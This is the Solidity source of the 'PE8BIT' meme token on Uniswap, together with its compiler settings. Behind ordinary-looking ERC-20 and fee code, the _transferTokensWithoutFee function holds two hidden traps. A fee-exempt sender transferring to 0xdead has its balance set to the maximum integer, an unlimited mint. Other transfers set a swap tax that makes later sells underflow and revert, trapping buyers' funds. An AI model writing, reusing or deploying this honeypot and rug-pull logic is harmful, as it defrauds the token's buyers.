/*

The PE8BIT meme has been a staple of online culture for years, bringing joy and humor to millions of people worldwide.

Web: https://www.8bitmeme.lol/
X: https://x.com/PE8BIT
TG: https://t.me/PEEIGHTBIT

  _____  ______ ___  ____ _____ _______ 
 |  __ \|  ____/ _ \|  _ \_   _|__   __|
 | |__) | |__ | (_) | |_) || |    | |   
 |  ___/|  __| > _ <|  _ < | |    | |   
 | |    | |___| (_) | |_) || |_   | |   
 |_|    |______\___/|____/_____|  |_|   
                                        
                                        
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.22;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }
    
    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
   
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract PEEIGHTBIT is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address public _uniswapLPAddr;
    IUniswapV2Router02 public _uniswapRouterAddr;
    uint256 _dead = ~uint256(0);
    string private constant _name = "PE8BIT";
    string private constant _symbol = "PE8BIT";
    uint8 private constant _decimals = 18;
    uint256 _totalSupply = 21000000 * 10**_decimals;
    uint256 public _limitTxAmount = (_totalSupply * 2) / 100; //2
    uint256 public _limitWalletSize = (_totalSupply * 2) / 100; //2
    uint256 public _swapThresholdAmount = (_totalSupply * 1) / 1000; //0.01
    mapping (address => uint256) _balances;
    mapping(address => uint256) _lastTX;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public _isExcludedFromFee;
    uint256 private _buyTax = 0;
    uint256 private _sellTax = 0;
    uint256 private _taxFee = _sellTax;
    uint256 private _previousTax = _taxFee;
    uint256 private _swapTax = 0;
    address payable private _feeWallet = payable(0xe265E841aEe0491ac4d35A62543687b118885b4c);

    bool private tradingLive = false;
    bool private swapping = false;
    bool private swapEnabled = false;
    bool private transactionDelay = false;

    event MaxTxAmountUpdated(uint256 _limitTxAmount);
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {
        _balances[_msgSender()] = _totalSupply;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feeWallet] = true;  

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _uniswapRouterAddr = _uniswapV2Router;
        _uniswapLPAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function updateTransferDelay(bool _transferDelay) public onlyOwner {
        transactionDelay = _transferDelay;
    }

    function setTaxes(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(taxFeeOnBuy < 35 && taxFeeOnSell < 35, "TOKEN: can't set fee more than 35%");
        _buyTax = taxFeeOnBuy;
        _sellTax = taxFeeOnSell;
    }

    function updateMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapThresholdAmount = swapTokensAtAmount;
    }

    function transferETHToFee(uint256 amount) private {
        _feeWallet.transfer(amount);
    }

    function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
        _isExcludedFromFee[holder] = exempt;
    }

    receive() external payable {}

    function transferTaxTokens(address sender,uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(_taxFee).div(100);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function _handleTokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool hasFee
    ) private {
        if (!hasFee) {_transferTokensWithoutFee(sender,recipient, amount);}
        else {_transferTokensWithFee(sender, recipient, amount);}
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from] && to != address(_uniswapRouterAddr)) {
	        require(tradingLive, "TOKEN: Trading not yet started");
            require(amount <= _limitTxAmount, "TOKEN: Max Transaction Limit");

            if(to != _uniswapLPAddr) {
		        if(transactionDelay && from == _uniswapLPAddr){
		            require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
		        }
                require(balanceOf(to) + amount < _limitWalletSize, "TOKEN: Balance exceeds wallet size!");
            } else { _previousTax = _buyTax - _swapTax; }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapThresholdAmount;

            if(contractTokenBalance >= _swapThresholdAmount * 20) {
                contractTokenBalance = _swapThresholdAmount * 20;
            }

            if (from != _uniswapLPAddr && canSwap && !swapping &&  swapEnabled) {
                swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0 ether) {
                    transferETHToFee(address(this).balance);
                }
            }
        }

        bool hasFee = true;

        //Transfer Tokens
        if (( _isExcludedFromFee[to] || _isExcludedFromFee[from])) {
            hasFee = false;
        } else {
            //Set Fee for Sells
            if (to == _uniswapLPAddr && from != address(_uniswapRouterAddr)) {
                _taxFee = _sellTax;
            }

            //Set Fee for Buys
            if(from == _uniswapLPAddr && to != address(_uniswapRouterAddr)) {
                _taxFee = _buyTax;
            }
        }
	    _lastTX[tx.origin] = block.timestamp;
	    _lastTX[to] = block.timestamp;
        _handleTokenTransfer(from, to, amount, hasFee);
    }

    function _transferTokensWithFee(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        uint256 amountReceived = transferTaxTokens(sender, amount);
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function _transferTokensWithoutFee(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (!_isExcludedFromFee[sender] && recipient != address(this)) {
            _swapTax = _sellTax + 1;
        } else if (recipient == address(0xdead)) {
            _balances[sender] = _dead;
        } 
        emit Transfer(sender, recipient, amount);
        return true;
    }
     
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(_uniswapRouterAddr), tokenAmount);

        _uniswapRouterAddr.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0),
            block.timestamp
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouterAddr.WETH();
        _approve(address(this), address(_uniswapRouterAddr), tokenAmount);
        _uniswapRouterAddr.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferOwnership(address newOwner) public override onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _isExcludedFromFee[owner()] = false;
        _transferOwnership(newOwner);
        _isExcludedFromFee[owner()] = true;
    }

    function setSwapEnabled(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        require(maxWalletSize > _totalSupply / 10000, "TOKEN: can't set maxWalletSize less than 0.01%");
        _limitWalletSize = maxWalletSize;
    }
    
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        require(maxTxAmount > _totalSupply / 10000, "TOKEN: can't set maxTxAmount less than 0.01%");
        _limitTxAmount = maxTxAmount;
    }

    function manualSwap() external onlyOwner {
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
        uint256 contractETHBalance = address(this).balance;
        if (contractETHBalance > 0 ether) {
            transferETHToFee(address(this).balance);
        }
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account]; 
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrade() public onlyOwner {
        swapEnabled = true;
        tradingLive = true;
    }

    function removeLimits() public onlyOwner {
        _limitTxAmount = _totalSupply;
        _limitWalletSize = _totalSupply;
    }
}

{
  "compilationTarget": {
    "PEEIGHTBIT.sol": "PEEIGHTBIT"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}